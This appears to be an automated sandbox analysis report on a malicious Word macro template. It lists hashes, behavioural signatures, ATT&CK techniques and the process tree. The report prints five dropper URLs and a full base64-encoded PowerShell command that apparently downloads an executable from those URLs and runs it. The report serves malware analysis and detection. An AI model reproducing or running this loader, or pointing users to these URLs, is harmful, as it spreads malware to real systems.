82e1e3df0f694eb0211a9d5291b43356953764557f25bd7b7b1de129b520ed17

General

Target

82e1e3df0f694eb0211a9d5291b43356953764557f25bd7b7b1de129b520ed17.dotm
Size

153KB
MD5

d717d96065b8fb5fb93ba5766d96eb34
SHA1

12039b3e2b7e484d70509b1aebc2ee778ad05fc3
SHA256

82e1e3df0f694eb0211a9d5291b43356953764557f25bd7b7b1de129b520ed17
SHA512

8f7514795ade123c0c35375c8f36e843925fcf735a441c1431e897bb4dbf9a28db6bd4dc68c2fcbe1fe735793171c258661d5ed9ec6cdb4fe58d5aa692a4411e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://think1.com/wp-content/upgrade/2na4-4q5g-751619964/

exe.dropper

http://broadpeakdefense.com/fbsgf/McZcBMeM/

exe.dropper

https://lecairtravels.com/wp-admin/bXwjcdeg/

exe.dropper

https://www.biyunhui.com/fj/wbTKndf/

exe.dropper

http://nautcoins.com/wp-includes/AcZxFxQ/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2624	4128	powershell.exe

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

37 2624 powershell.exe
41 2624 powershell.exe
45 2624 powershell.exe

flow	pid	process
37	2624	powershell.exe
41	2624	powershell.exe
45	2624	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4532 WINWORD.EXE
4532 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2624 powershell.exe
2624 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2624 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

4532 WINWORD.EXE
4532 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4532 WINWORD.EXE
4532 WINWORD.EXE
4532 WINWORD.EXE
4532 WINWORD.EXE
4532 WINWORD.EXE
4532 WINWORD.EXE
4532 WINWORD.EXE

pid	process
4532	WINWORD.EXE
4532	WINWORD.EXE

pid	process
2624	powershell.exe
2624	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2624	powershell.exe

pid	process
4532	WINWORD.EXE
4532	WINWORD.EXE

pid	process
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE
4532	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 4532 wrote to memory of 3860	4532	WINWORD.EXE	splwow64.exe
PID 4532 wrote to memory of 3860	4532	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\82e1e3df0f694eb0211a9d5291b43356953764557f25bd7b7b1de129b520ed17.dotm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4532

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enco JABJADkARwBRAE4ARgA9ACcAdABMAHcAWABaAHEAegA3ACcAOwAkAE0ANABXADcAaABuACAAPQAgACcAMwA5ADMAJwA7ACQAdABIAHcAMABKAGoASgB0AD0AJwBWAHAAagByAEsAMwAnADsAJABEAHcAagBCAHoAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATQA0AFcANwBoAG4AKwAnAC4AZQB4AGUAJwA7ACQAQwA3ADAAUgB2AEkAbQA9ACcAcABqAEcAYQBpAHoAdAAnADsAJABiAHUAcgBwAHIAcgA0ADAAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAQwBsAGkARQBuAFQAOwAkAG8AdgAwAGYAVwA5AEgAcAA9ACcAaAB0AHQAcAA6AC8ALwB0AGgAaQBuAGsAMQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABnAHIAYQBkAGUALwAyAG4AYQA0AC0ANABxADUAZwAtADcANQAxADYAMQA5ADkANgA0AC8AQABoAHQAdABwADoALwAvAGIAcgBvAGEAZABwAGUAYQBrAGQAZQBmAGUAbgBzAGUALgBjAG8AbQAvAGYAYgBzAGcAZgAvAE0AYwBaAGMAQgBNAGUATQAvAEAAaAB0AHQAcABzADoALwAvAGwAZQBjAGEAaQByAHQAcgBhAHYAZQBsAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGIAWAB3AGoAYwBkAGUAZwAvAEAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYgBpAHkAdQBuAGgAdQBpAC4AYwBvAG0ALwBmAGoALwB3AGIAVABLAG4AZABmAC8AQABoAHQAdABwADoALwAvAG4AYQB1AHQAYwBvAGkAbgBzAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBBAGMAWgB4AEYAeABRAC8AJwAuACIAcwBwAGwAYABpAFQAIgAoACcAQAAnACkAOwAkAFUAXwA5AHMARABYAD0AJwBYAGoAUQByAFAAegA0ACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAEoAVgBCADMAdgAgAGkAbgAgACQAbwB2ADAAZgBXADkASABwACkAewB0AHIAeQB7ACQAYgB1AHIAcAByAHIANAAwAC4AIgBEAGAAbwBgAFcAYABOAGwATwBBAEQAZgBJAEwARQAiACgAJABIAEoAVgBCADMAdgAsACAAJABEAHcAagBCAHoAMQApADsAJABwADgAawBYAG4AVwBFAD0AJwBJAEkANAA0ADIAegBGACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARAB3AGoAQgB6ADEAKQAuACIATABgAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADIAMgAyADMAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAYABBAFIAdAAiACgAJABEAHcAagBCAHoAMQApADsAJABrAFYANABtAEEAUABxAEcAPQAnAGQAdQBPAEoATQBCAHcAQQAnADsAYgByAGUAYQBrADsAJABqADUAdABzAE0ASQBuAGsAPQAnAGYASQBWADkAawBBADYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASAA4AFEAUABIAHoAYQA9ACcAagAxAEIARgBiAHQAUgB3ACcA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/2624-141-0x00007FFE4B0C0000-0x00007FFE4BB81000-memory.dmp

Filesize
10.8MB

Download
memory/2624-140-0x00000241B8710000-0x00000241B8732000-memory.dmp

Filesize
136KB

Download
memory/3860-137-0x0000000000000000-mapping.dmp

Download
memory/4532-138-0x000001D523A80000-0x000001D523A84000-memory.dmp

Filesize
16KB

Download
memory/4532-134-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4532-135-0x00007FFE35080000-0x00007FFE35090000-memory.dmp

Filesize
64KB

Download
memory/4532-136-0x00007FFE35080000-0x00007FFE35090000-memory.dmp

Filesize
64KB

Download
memory/4532-133-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4532-130-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4532-139-0x000001D51DB64000-0x000001D51DB66000-memory.dmp

Filesize
8KB

Download
memory/4532-132-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4532-131-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4532-143-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4532-144-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4532-145-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download
memory/4532-146-0x00007FFE379B0000-0x00007FFE379C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads